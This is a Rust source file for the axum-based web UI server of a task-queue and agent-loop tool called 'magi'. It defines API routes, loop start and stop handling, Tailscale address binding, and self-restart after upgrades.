1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128pub const DEFAULT_PORT: u16 = 7878;
130
131const POLL: Duration = Duration::from_secs(1);
133
134const KEEPALIVE: Duration = Duration::from_secs(15);
138
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155const LIST_DEFAULT: usize = 50;
159const LIST_MAX: usize = 500;
161
162const TITLE_MAX: usize = 72;
164
165const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182const FILENAME_HEADER: &str = "x-filename";
186
187const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210 font-src data:; base-uri 'none'; form-action 'none'; \
211 frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220 Auto,
222 Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227 type Err = String;
228
229 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233 if s.eq_ignore_ascii_case("auto") {
234 return Ok(Self::Auto);
235 }
236 s.parse()
237 .map(Self::Addr)
238 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239 }
240}
241
242impl std::fmt::Display for Bind {
243 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244 match self {
245 Self::Auto => f.write_str("auto"),
246 Self::Addr(addr) => write!(f, "{addr}"),
247 }
248 }
249}
250
251#[derive(Debug, Clone)]
253pub struct Opts {
254 pub bind: Bind,
256 pub port: u16,
258 pub repo: PathBuf,
260 pub open: bool,
263 pub merge: Option<String>,
271}
272
273impl Default for Opts {
274 fn default() -> Self {
275 Self {
276 bind: Bind::Auto,
277 port: DEFAULT_PORT,
278 repo: PathBuf::from("."),
279 open: false,
280 merge: None,
281 }
282 }
283}
284
285#[derive(Debug, Clone)]
291pub struct Ui {
292 queue: Queue,
293 questions: Questions,
294 notices: Notices,
297 talks: Talks,
298 runs: PathBuf,
299 home: PathBuf,
300 repo: PathBuf,
301 worktrees_root: PathBuf,
308 talk_turns: Arc<Mutex<TalkTurns>>,
316 resuming: Arc<Mutex<HashSet<String>>>,
324 repos_cache: repos::Cache,
328 machine_config: Option<PathBuf>,
332 merge: Option<String>,
334 looping: Arc<Mutex<LoopState>>,
336 launch: Launch,
348 #[cfg(test)]
351 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354#[cfg(test)]
374struct BusyQueueGate {
375 reached: tokio::sync::oneshot::Sender<()>,
376 release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383 }
384}
385
386impl Ui {
387 pub fn new(
389 queue: Queue,
390 questions: Questions,
391 talks: Talks,
392 runs: PathBuf,
393 home: PathBuf,
394 repo: PathBuf,
395 ) -> Self {
396 Self {
397 queue,
398 questions,
399 notices: Notices::at(home.join("notifications")),
400 talks,
401 runs,
402 home,
403 repo,
404 worktrees_root: run::default_worktree_root(),
408 talk_turns: Arc::default(),
409 resuming: Arc::default(),
410 repos_cache: repos::Cache::new(),
411 machine_config: Config::machine_layer(),
412 merge: None,
413 looping: Arc::default(),
414 launch: launch_daemon,
415 #[cfg(test)]
416 busy_queue_gate: Arc::default(),
417 }
418 }
419
420 pub fn open(repo: PathBuf) -> Self {
423 Self::new(
424 Queue::open(),
425 Questions::open(),
426 Talks::open(),
427 run::runs_root(),
428 run::home(),
429 repo,
430 )
431 }
432
433 #[must_use]
440 pub fn with_merge(mut self, merge: Option<String>) -> Self {
441 self.merge = merge;
442 self
443 }
444
445 #[cfg(test)]
448 #[must_use]
449 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450 self.machine_config = path;
451 self
452 }
453
454 #[must_use]
459 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460 self.worktrees_root = root;
461 self
462 }
463
464 #[cfg(test)]
469 #[must_use]
470 fn with_launch(mut self, launch: Launch) -> Self {
471 self.launch = launch;
472 self
473 }
474
475 #[cfg(test)]
485 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486 *self
487 .busy_queue_gate
488 .lock()
489 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490 }
491
492 fn looping(&self) -> Arc<Mutex<LoopState>> {
494 Arc::clone(&self.looping)
495 }
496
497 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504 if let Some(other) = foreign {
505 return Err(ApiError::conflict(format!(
506 "{} is already running the loop, so this one will not start a \
507 second: two loops on one queue race for the same claims and \
508 burn the agent quota twice over. Stop it where it was \
509 started.",
510 other.who()
511 )));
512 }
513 let mut state = self.lock_loop();
514 if state.live.as_ref().is_some_and(Live::alive) {
515 return Err(ApiError::conflict(format!(
516 "this magi web process (pid {}) is already running the loop",
517 std::process::id()
518 )));
519 }
520
521 let stop = daemon::Stop::new();
522 let opts = daemon::Opts {
526 repo: self.repo.clone(),
527 merge: self.merge.clone(),
528 worktrees_root: Some(self.worktrees_root.clone()),
535 ..daemon::Opts::default()
536 };
537 let launch = self.launch;
538 let looping = Arc::clone(&self.looping);
539 let handle = tokio::spawn({
540 let opts = opts.clone();
541 let stop = stop.clone();
542 async move {
543 let failure = match launch(opts, stop).await {
544 Ok(()) => None,
545 Err(e) => Some(format!("{e:#}")),
546 };
547 match &failure {
548 Some(why) => tracing::error!("the loop stopped: {why}"),
549 None => tracing::info!("the loop stopped"),
550 }
551 let mut state = lock_or_recover(&looping);
557 state.live = None;
558 state.last_error = failure;
559 state.rev += 1;
560 }
561 });
562 tracing::info!(
563 "the loop is now running in this process: repo {}, merge {}",
564 opts.repo.display(),
565 opts.merge.as_deref().unwrap_or("as the config says")
566 );
567 state.live = Some(Live { stop, handle, opts });
568 state.last_error = None;
571 state.rev += 1;
572 Ok(())
573 }
574
575 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581 if let Some(other) = foreign {
582 return Err(ApiError::conflict(format!(
583 "the loop belongs to {}, and this process cannot stop it - \
584 stop it where it was started. A button that silently did \
585 nothing would be worse than this refusal.",
586 other.who()
587 )));
588 }
589 let mut state = self.lock_loop();
590 if !park {
593 state.resume_after_handover = false;
594 }
595 let Some(live) = state.live.as_ref() else {
596 return Ok(());
597 };
598 if live.stop.stopped() && (!park || live.stop.parking()) {
602 return Ok(());
603 }
604 if park {
605 live.stop.park();
606 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607 } else {
608 live.stop.stop();
609 tracing::info!("the loop was asked to stop; a run in flight is finished first");
610 }
611 state.rev += 1;
612 Ok(())
613 }
614
615 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622 let state = self.lock_loop();
623 let live = state.live.as_ref().filter(|live| live.alive());
626 LoopView {
627 running: live.is_some(),
628 stopping: live.is_some_and(|live| live.stop.finishing()),
629 parking: live.is_some_and(|live| live.stop.parking()),
630 owned: live.is_some(),
631 repo: live
632 .map_or(&self.repo, |live| &live.opts.repo)
633 .display()
634 .to_string(),
635 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636 last_error: state.last_error.clone(),
637 daemon: DaemonView::of(reading),
638 }
639 }
640
641 fn resume_after_handover(&self, resume: bool) -> bool {
647 if !resume {
648 return false;
649 }
650 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651 match self.start_loop(foreign) {
652 Ok(()) => true,
653 Err(e) => {
654 let why = format!(
655 "the loop could not be resumed after the upgrade: {}",
656 e.message
657 );
658 tracing::warn!("{why}");
659 let mut state = self.lock_loop();
660 state.last_error = Some(why);
661 state.rev += 1;
662 false
663 }
664 }
665 }
666
667 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669 lock_or_recover(&self.looping)
670 }
671
672 fn is_thinking(&self, id: &str) -> bool {
678 self.talk_turns
679 .lock()
680 .is_ok_and(|turns| turns.live.contains(id))
681 }
682
683 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
702 self.claim_talk_turn(id, false)
703 }
704
705 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
708 self.claim_talk_turn(id, true)
709 }
710
711 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
712 let mut live = self
713 .talk_turns
714 .lock()
715 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
716 if !live.live.insert(id.to_owned()) {
717 if queued {
718 *live.queued.entry(id.to_owned()).or_default() += 1;
723 }
724 return Ok(None);
725 }
726 Ok(Some(TalkTurnGuard {
727 talk: id.to_owned(),
728 turns: Arc::clone(&self.talk_turns),
729 released: false,
730 }))
731 }
732
733 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
738 let mut live = self
739 .talk_turns
740 .lock()
741 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
742 if live.live.contains(id) {
743 return Ok(TalkTurnStart::Busy);
744 }
745 let talk = self.talks.get(id).map_err(ApiError::from)?;
746 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
747 return Ok(TalkTurnStart::Pending);
748 }
749 live.live.insert(id.to_owned());
750 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
751 talk: id.to_owned(),
752 turns: Arc::clone(&self.talk_turns),
753 released: false,
754 }))
755 }
756
757 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
764 let parking = {
765 let mut state = self.lock_loop();
766 let resume = state.resume_after_handover
776 || state
777 .live
778 .as_ref()
779 .is_some_and(|live| live.alive() && !live.stop.stopped());
780 state.resume_after_handover = resume;
781 let Some(live) = state.live.as_ref() else {
782 return Ok(None);
783 };
784 let busy = live.stop.busy_now();
785 live.stop.park();
786 state.rev += 1;
787 busy
788 };
789 Ok(if parking {
790 daemon::current_work(&self.home, jiff::Timestamp::now())
795 .into_iter()
796 .next()
797 .map(|c| c.run)
798 } else {
799 None
800 })
801 }
802
803 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
807 let mut live = self
808 .resuming
809 .lock()
810 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
811 if !live.insert(id.to_owned()) {
812 return Err(ApiError::conflict(format!(
813 "run {id} is already being resumed"
814 )));
815 }
816 Ok(ResumeGuard {
817 run: id.to_owned(),
818 resuming: Arc::clone(&self.resuming),
819 })
820 }
821
822 pub fn router(self) -> Router {
830 Router::new()
831 .route("/", get(index))
832 .route("/app.css", get(app_css))
833 .route("/app.js", get(app_js))
834 .route("/api/health", get(health))
835 .route("/api/loop", get(loop_get).post(loop_post))
836 .route("/api/upgrade", post(upgrade_post))
837 .route("/api/runs", get(runs_list))
838 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
839 .route("/api/runs/{id}/report", get(run_report))
840 .route("/api/runs/{id}/fold", post(run_fold))
841 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
842 .route("/api/runs/{id}/resume", post(run_resume))
843 .route("/api/queue", get(queue_list))
844 .route("/api/search", get(search_get))
845 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
846 .route("/api/stats", get(stats_get))
847 .route("/api/repos", get(repos_list))
848 .route("/api/settings", get(settings_get))
849 .route("/api/settings/roles", put(settings_put_roles))
850 .route("/api/queue/{id}/hold", post(queue_hold))
851 .route("/api/queue/{id}/release", post(queue_release))
852 .route("/api/queue/{id}/priority", post(queue_priority))
853 .route("/api/queue/{id}/edit", post(queue_edit))
854 .route("/api/queue/{id}/done", post(queue_done))
855 .route("/api/questions", get(questions_list))
856 .route("/api/questions/{id}/answer", post(question_answer))
857 .route("/api/questions/{id}/say", post(question_say))
858 .route("/api/questions/{id}/panel", get(question_panel))
859 .route("/api/questions/{id}/panel/index.html", get(question_panel))
867 .route("/api/questions/{id}/panel/{name}", get(question_asset))
868 .route("/api/questions/{id}/asset/{name}", get(question_asset))
869 .route("/api/notifications", get(notifications_list))
870 .route("/api/notifications/read-all", post(notifications_read_all))
871 .route("/api/notifications/{id}/read", post(notification_read))
872 .route(
873 "/api/notifications/{id}/dismiss",
874 post(notification_dismiss),
875 )
876 .route("/api/talks", get(talks_list).post(talk_post))
877 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
878 .route("/api/talks/{id}/say", post(talk_say))
879 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
880 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
881 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
882 .route("/api/talks/{id}/agent", post(talk_agent))
883 .route("/api/talks/{id}/close", post(talk_close))
884 .route("/api/talks/{id}/reopen", post(talk_reopen))
885 .route(
891 "/api/talks/{id}/attachments",
892 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
893 )
894 .route(
895 "/api/talks/{id}/attachments/{att}",
896 get(talk_attachment_get),
897 )
898 .route("/api/events", get(events))
899 .with_state(Arc::new(self))
900 }
901}
902
903#[derive(Debug)]
909struct TalkTurnGuard {
910 talk: String,
911 turns: Arc<Mutex<TalkTurns>>,
912 released: bool,
913}
914
915#[derive(Debug, Default)]
922struct TalkTurns {
923 live: HashSet<String>,
924 queued: HashMap<String, u64>,
925}
926
927enum TalkTurnStart {
930 Claimed(TalkTurnGuard),
931 Busy,
932 Pending,
933}
934
935impl TalkTurnGuard {
936 fn release(mut self, live: &mut TalkTurns) {
939 live.live.remove(&self.talk);
940 live.queued.remove(&self.talk);
941 self.released = true;
942 }
943}
944
945impl Drop for TalkTurnGuard {
946 fn drop(&mut self) {
947 if self.released {
948 return;
949 }
950 if let Ok(mut live) = self.turns.lock() {
951 live.live.remove(&self.talk);
952 live.queued.remove(&self.talk);
953 }
954 }
955}
956
957struct ResumeGuard {
959 run: String,
960 resuming: Arc<Mutex<HashSet<String>>>,
961}
962
963impl Drop for ResumeGuard {
964 fn drop(&mut self) {
965 if let Ok(mut live) = self.resuming.lock() {
966 live.remove(&self.run);
967 }
968 }
969}
970
971async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
981 const WINDOW: Duration = Duration::from_secs(10);
982 const GAP: Duration = Duration::from_millis(250);
983
984 let deadline = std::time::Instant::now() + WINDOW;
985 let mut said = false;
986 loop {
987 match tokio::net::TcpListener::bind(socket).await {
988 Ok(listener) => return Ok(listener),
989 Err(e)
990 if e.kind() == std::io::ErrorKind::AddrInUse
991 && std::time::Instant::now() < deadline =>
992 {
993 if !said {
994 said = true;
995 tracing::info!(
996 "{socket} is still held - waiting up to {}s for it, \
997 which is what a restart looks like from here",
998 WINDOW.as_secs()
999 );
1000 }
1001 tokio::time::sleep(GAP).await;
1002 }
1003 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1004 }
1005 }
1006}
1007
1008static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1011
1012const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1014
1015fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1017 value.is_some_and(|v| v == "1")
1018}
1019
1020fn spawn_successor(resume: bool) -> Result<()> {
1038 let exe = std::env::current_exe().context("find this binary")?;
1039 let args: Vec<String> = std::env::args().skip(1).collect();
1040 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
1041
1042 let mut cmd = std::process::Command::new(&exe);
1043 if resume {
1044 cmd.env(RESUME_LOOP_ENV, "1");
1045 } else {
1046 cmd.env_remove(RESUME_LOOP_ENV);
1047 }
1048 cmd.args(&args)
1049 .stdin(std::process::Stdio::null())
1050 .stdout(std::process::Stdio::null())
1051 .stderr(std::process::Stdio::null());
1052 #[cfg(windows)]
1053 {
1054 use std::os::windows::process::CommandExt as _;
1055 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1058 }
1059 cmd.spawn().context("start the successor")?;
1060 Ok(())
1061}
1062
1063pub async fn serve(opts: Opts) -> Result<()> {
1088 let (addr, warning) = resolve_bind(&opts.bind);
1089 if let Some(warning) = warning {
1090 tracing::warn!("{warning}");
1091 }
1092
1093 report::set_color(false);
1099
1100 let repo = normalize_default_repo(opts.repo).await;
1101 let ui = Ui::open(repo).with_merge(opts.merge);
1102 let home = ui.home.clone();
1107 let repo = ui.repo.clone();
1108 updater::reconcile_after_restart(&home);
1113 tokio::spawn(run_update_recheck(repo, home.clone()));
1122 let looping = ui.looping();
1123 let socket = SocketAddr::new(addr, opts.port);
1124 let listener = bind_waiting(socket).await?;
1125 let url = format!("http://{addr}:{}", opts.port);
1126 tracing::info!(
1127 "magi web UI on {url} - there is no authentication, so anyone who can \
1128 reach this address can file and hold tasks: the tailnet is the \
1129 security boundary"
1130 );
1131 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1132 tracing::info!("resumed the loop the predecessor was running");
1133 } else {
1134 tracing::info!(
1135 "the queue loop is not running yet - start it from the UI, which is \
1136 the whole reason this process can: nothing in the queue moves until \
1137 something is running the loop"
1138 );
1139 }
1140 if opts.open {
1141 println!("{url}");
1145 }
1146
1147 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1150 let interrupted = async {
1151 if tokio::signal::ctrl_c().await.is_err() {
1152 std::future::pending::<()>().await;
1157 }
1158 };
1159 let handover = HANDOVER.notified();
1160 tokio::select! {
1161 joined = &mut served => match joined {
1162 Ok(outcome) => outcome.context("serve the web UI"),
1163 Err(e) => Err(e).context("the task serving the web UI ended"),
1164 },
1165 () = interrupted => {
1166 tracing::info!("shutting down the web UI");
1167 finish_loop(&looping).await;
1168 Ok(())
1169 }
1170 () = handover => {
1171 tracing::info!("upgraded - handing this address to the successor");
1172 hand_over(&home, &looping, served, spawn_successor).await
1173 }
1174 }
1175}
1176
1177async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1198 if repo != FsPath::new(".") {
1199 return repo;
1200 }
1201 let Ok(canonical) = repo.canonicalize() else {
1202 return repo;
1203 };
1204 if git::toplevel(&canonical).await.is_ok() {
1205 return repo;
1206 }
1207 let Some(home) = dirs::home_dir() else {
1208 return repo;
1209 };
1210 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1211 Some(found) => {
1212 tracing::info!(
1213 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1214 canonical.display(),
1215 found.path.display(),
1216 found.reason,
1217 );
1218 found.path
1219 }
1220 None => repo,
1221 }
1222}
1223
1224async fn hand_over(
1254 home: &FsPath,
1255 looping: &Mutex<LoopState>,
1256 served: tokio::task::JoinHandle<std::io::Result<()>>,
1257 successor: impl FnOnce(bool) -> Result<()>,
1258) -> Result<()> {
1259 if let Some(mut progress) = updater::read_progress(home) {
1260 progress.advance(updater::Stage::Parking);
1261 let _ = updater::write_progress(home, &progress);
1262 }
1263 finish_loop(looping).await;
1264 served.abort();
1265 let _ = served.await;
1266 let resume = lock_or_recover(looping).resume_after_handover;
1269 if let Some(mut progress) = updater::read_progress(home) {
1270 progress.advance(updater::Stage::Restarting);
1271 let _ = updater::write_progress(home, &progress);
1272 }
1273 successor(resume)
1274}
1275
1276async fn finish_loop(state: &Mutex<LoopState>) {
1283 let live = lock_or_recover(state).live.take();
1284 let Some(live) = live else { return };
1285 live.stop.stop();
1286 lock_or_recover(state).rev += 1;
1287 tracing::info!("waiting for the loop to finish the run in flight");
1288 let _ = live.handle.await;
1291}
1292
1293pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1299 match bind {
1300 Bind::Addr(addr) => (*addr, None),
1301 Bind::Auto => match tailscale_ip() {
1302 Ok(ip) => (IpAddr::V4(ip), None),
1303 Err(why) => (
1304 IpAddr::V4(Ipv4Addr::LOCALHOST),
1305 Some(format!(
1306 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1307 local-only and a phone cannot reach it; start Tailscale \
1308 or pass --bind <addr>"
1309 )),
1310 ),
1311 },
1312 }
1313}
1314
1315fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1323 let out = std::process::Command::new("tailscale")
1324 .args(["ip", "-4"])
1325 .quiet()
1326 .output()
1327 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1328 if !out.status.success() {
1329 let why = String::from_utf8_lossy(&out.stderr);
1330 let why = why.trim();
1331 return Err(format!(
1332 "`tailscale ip -4` failed ({}){}",
1333 out.status,
1334 if why.is_empty() {
1335 String::new()
1336 } else {
1337 format!(": {why}")
1338 }
1339 ));
1340 }
1341 String::from_utf8_lossy(&out.stdout)
1342 .lines()
1343 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1344 .find(is_tailnet)
1345 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1346}
1347
1348fn is_tailnet(ip: &Ipv4Addr) -> bool {
1350 let o = ip.octets();
1351 o[0] == 100 && (64..=127).contains(&o[1])
1352}
1353
1354type ApiResult<T> = std::result::Result<T, ApiError>;
1358
1359#[derive(Debug)]
1361struct ApiError {
1362 status: StatusCode,
1363 message: String,
1364}
1365
1366impl ApiError {
1367 fn bad_request(message: impl Into<String>) -> Self {
1369 Self {
1370 status: StatusCode::BAD_REQUEST,
1371 message: message.into(),
1372 }
1373 }
1374
1375 fn not_found(message: impl Into<String>) -> Self {
1377 Self {
1378 status: StatusCode::NOT_FOUND,
1379 message: message.into(),
1380 }
1381 }
1382
1383 fn with_status(mut self, status: StatusCode) -> Self {
1386 self.status = status;
1387 self
1388 }
1389
1390 fn bad_request_from(e: anyhow::Error) -> Self {
1394 Self::bad_request(format!("{e:#}"))
1395 }
1396
1397 fn conflict(message: impl Into<String>) -> Self {
1398 Self {
1399 status: StatusCode::CONFLICT,
1400 message: message.into(),
1401 }
1402 }
1403
1404 fn internal(message: impl Into<String>) -> Self {
1406 Self {
1407 status: StatusCode::INTERNAL_SERVER_ERROR,
1408 message: message.into(),
1409 }
1410 }
1411}
1412
1413impl From<anyhow::Error> for ApiError {
1414 fn from(e: anyhow::Error) -> Self {
1419 Self::internal(format!("{e:#}"))
1420 }
1421}
1422
1423impl IntoResponse for ApiError {
1424 fn into_response(self) -> Response {
1425 let body = serde_json::json!({ "error": self.message });
1426 (self.status, Json(body)).into_response()
1427 }
1428}
1429
1430async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1439where
1440 T: Send + 'static,
1441{
1442 match tokio::task::spawn_blocking(job).await {
1443 Ok(result) => result,
1444 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1445 }
1446}
1447
1448const ASSET_CACHE: &str = "no-cache, must-revalidate";
1466
1467fn asset_etag() -> &'static str {
1474 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1475 format!(
1476 "\"{}-{}\"",
1477 env!("CARGO_PKG_VERSION"),
1478 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1483 )
1484 });
1485 &TAG
1486}
1487
1488fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1490 [
1491 (header::CONTENT_TYPE, mime),
1492 (header::CACHE_CONTROL, ASSET_CACHE),
1493 (header::ETAG, asset_etag()),
1494 ]
1495}
1496
1497fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1505 let tag = asset_etag();
1506 let known = headers
1507 .get(header::IF_NONE_MATCH)
1508 .and_then(|v| v.to_str().ok())
1509 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1513 if known {
1514 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1515 }
1516 (asset_headers(mime), body).into_response()
1517}
1518
1519async fn index(headers: header::HeaderMap) -> Response {
1520 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1521}
1522
1523async fn app_css(headers: header::HeaderMap) -> Response {
1524 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1525}
1526
1527async fn app_js(headers: header::HeaderMap) -> Response {
1528 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1529}
1530
1531#[derive(Debug, Serialize)]
1533struct HealthView {
1534 version: &'static str,
1535 home: String,
1536 queue_rev: u64,
1537 runs_rev: u64,
1538 questions_rev: u64,
1550 talks_rev: u64,
1552 notifications_rev: u64,
1554 notifications_unread: usize,
1557 loop_rev: u64,
1562 runs_unreadable: usize,
1570 disk: DiskView,
1578 questions_open: usize,
1584 questions_needs_owner: usize,
1594 daemon: DaemonView,
1595 #[serde(rename = "loop")]
1601 looping: LoopView,
1602 update: UpdateView,
1609 upgrade: Option<UpgradeProgressView>,
1613}
1614
1615#[derive(Debug, Serialize)]
1622struct UpdateView {
1623 available: bool,
1625 to: Option<String>,
1627}
1628
1629#[derive(Debug, Serialize)]
1631struct UpgradeProgressView {
1632 stage: updater::Stage,
1633 from: String,
1634 to: Option<String>,
1635 waiting_on: Option<String>,
1638 started_at: Timestamp,
1639 updated_at: Timestamp,
1640 detail: Option<String>,
1641}
1642
1643fn should_spawn_recheck(cfg: &Update) -> bool {
1650 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1651}
1652
1653fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1665 if progress.is_some_and(|p| !p.stage.terminal()) {
1666 return false;
1667 }
1668 checker.should_check()
1669}
1670
1671fn recheck_poll_period(cfg: &Update) -> Duration {
1684 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1685}
1686
1687async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1711 loop {
1712 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1713 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1714 if !should_spawn_recheck(&cfg.update) {
1715 continue;
1716 }
1717 let Some(checker) = updater::Checker::new(&cfg.update) else {
1718 continue;
1719 };
1720 let progress = updater::read_progress(&home);
1721 if !update_recheck_due(&checker, progress.as_ref()) {
1722 continue;
1723 }
1724 if let Err(e) = checker.newer_release().await {
1725 tracing::warn!("background update recheck failed: {e:#}");
1726 }
1727 }
1728}
1729
1730fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1736 let default;
1737 let cfg = match cfg {
1738 Some(cfg) => cfg,
1739 None => {
1740 default = Config::default();
1741 &default
1742 }
1743 };
1744 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1745 match latest {
1746 Some(latest) => UpdateView {
1747 available: true,
1748 to: Some(latest.tag_name),
1749 },
1750 None => UpdateView {
1751 available: false,
1752 to: None,
1753 },
1754 }
1755}
1756
1757fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1763 let waiting_on = (progress.stage == updater::Stage::Parking)
1764 .then_some(progress.parked_run.as_deref())
1765 .flatten()
1766 .and_then(|id| read_run(&ui.runs, id).ok())
1767 .map(|run| {
1768 format!(
1769 "run {} is finishing {} before the address is handed over",
1770 run.short(),
1771 run.status.as_str()
1772 )
1773 });
1774 UpgradeProgressView {
1775 stage: progress.stage,
1776 from: progress.from,
1777 to: progress.to,
1778 waiting_on,
1779 started_at: progress.started_at,
1780 updated_at: progress.updated_at,
1781 detail: progress.detail,
1782 }
1783}
1784
1785#[derive(Debug, Serialize)]
1790struct DiskView {
1791 #[serde(skip_serializing_if = "Option::is_none")]
1793 free_bytes: Option<u64>,
1794 runs_bytes: u64,
1796 worktrees_bytes: u64,
1798 #[serde(skip_serializing_if = "Option::is_none")]
1800 cache_bytes: Option<u64>,
1801}
1802
1803impl DiskView {
1804 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1806 let cache_bytes = cfg
1807 .and_then(|cfg| cfg.cache_dir())
1808 .map(|dir| crate::disk::dir_size(&dir));
1809 Self {
1810 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1811 runs_bytes: crate::disk::dir_size(&ui.runs),
1812 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1813 cache_bytes,
1814 }
1815 }
1816}
1817
1818#[derive(Debug, Serialize)]
1820struct DaemonView {
1821 running: bool,
